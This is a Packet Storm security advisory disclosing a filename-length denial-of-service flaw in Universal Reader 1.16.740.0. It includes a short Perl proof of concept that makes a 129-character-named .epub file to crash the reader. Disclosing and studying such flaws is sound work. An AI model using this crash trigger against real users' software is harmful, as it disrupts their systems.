exploit the possibilities

Universal Reader 1.16.740.0 Denial Of Service

Universal Reader 1.16.740.0 Denial Of Service
Posted May 14, 2012
Authored by demonalex

Universal Reader version 1.16.740.0 suffers from a filename related denial of service vulnerability.

tags | exploit, denial of service
MD5 | aabef4cd6b8f758e4e84deec36655328

Universal Reader 1.16.740.0 Denial Of Service

Change Mirror Download
Title: Universal Reader Filename Denial Of Service Vulnerability
Software : Universal Reader

Software Version : 1.16.740.0 (product version: 0.63.538)

Vendor: http://uread.superfection.com/

Vulnerability Published : 2012-05-12

Vulnerability Update Time :

Status :

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Universal Reader is a online/offline reader for reading polytype e-book files.
Universal Reader contains any denial of service vulnerability about openning long-name files. Success in exploiting this vulnerability will crumble uread.exe process.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl -w
$filename="a"x129;
print "------Generate testfile \"a\"x129.epub------\n";
open(TESTFILE, ">$filename.epub");
sleep(3);
close(TESTFILE);
print "------Complete!------\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    1 Files
  • 2
    Feb 2nd
    2 Files
  • 3
    Feb 3rd
    17 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    16 Files
  • 7
    Feb 7th
    19 Files
  • 8
    Feb 8th
    1 Files
  • 9
    Feb 9th
    2 Files
  • 10
    Feb 10th
    15 Files
  • 11
    Feb 11th
    20 Files
  • 12
    Feb 12th
    12 Files
  • 13
    Feb 13th
    18 Files
  • 14
    Feb 14th
    17 Files
  • 15
    Feb 15th
    4 Files
  • 16
    Feb 16th
    4 Files
  • 17
    Feb 17th
    34 Files
  • 18
    Feb 18th
    15 Files
  • 19
    Feb 19th
    19 Files
  • 20
    Feb 20th
    20 Files
  • 21
    Feb 21st
    15 Files
  • 22
    Feb 22nd
    2 Files
  • 23
    Feb 23rd
    2 Files
  • 24
    Feb 24th
    16 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close